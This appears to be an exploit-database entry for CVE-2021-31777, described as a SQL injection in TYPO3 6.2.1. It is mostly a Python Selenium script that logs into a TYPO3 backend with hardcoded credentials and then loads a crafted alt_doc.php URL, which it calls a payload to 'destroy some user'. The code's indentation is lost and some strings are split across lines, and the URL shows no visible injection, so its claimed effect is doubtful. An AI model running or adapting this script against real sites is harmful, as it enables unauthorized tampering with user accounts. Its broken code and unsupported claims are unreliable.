CVE-2021-31777 TYPO3 version 6.2.1 SQL注入漏洞

EXP

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-31777

from selenium import webdriver
import time
import os, sys


# Vendor: https://typo3.org/
website_link="http://192.168.1.3/typo3_src-6.2.1/typo3/index.php"

# enter your login username
username="nu11secur1ty"

# enter your login password
password="password"

#enter the element for username input field
element_for_username="username"

#enter the element for password input field
element_for_password="p_field"

#enter the element for submit button
element_for_submit="commandLI"


#browser = webdriver.Safari() #for macOS usersfor others use chrome vis
chromedriver
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit vulnerability MySQL user table by using backend.php vulnerability
time.sleep(3)
# Payload link
browser.get(("
http://192.168.1.3/typo3_src-6.2.1/typo3/alt_doc.php?editbe_users1=edit&returnUrl=mod.php%3FM%3Dsystem_BeuserTxBeuser%26moduleToken%3D56862cd856952bfd539277eebf7b21c2a85ff950#"))


print("The payload is deployed it is time to destroy some user...\n")
os.system('pause')

browser.close()

except Exception:
#### This exception is if the user is not found in the database or
something is wrong.
print("Sorry, but this user who you searching for is destroyed by using of
MySQL vulnerability in backend.php...")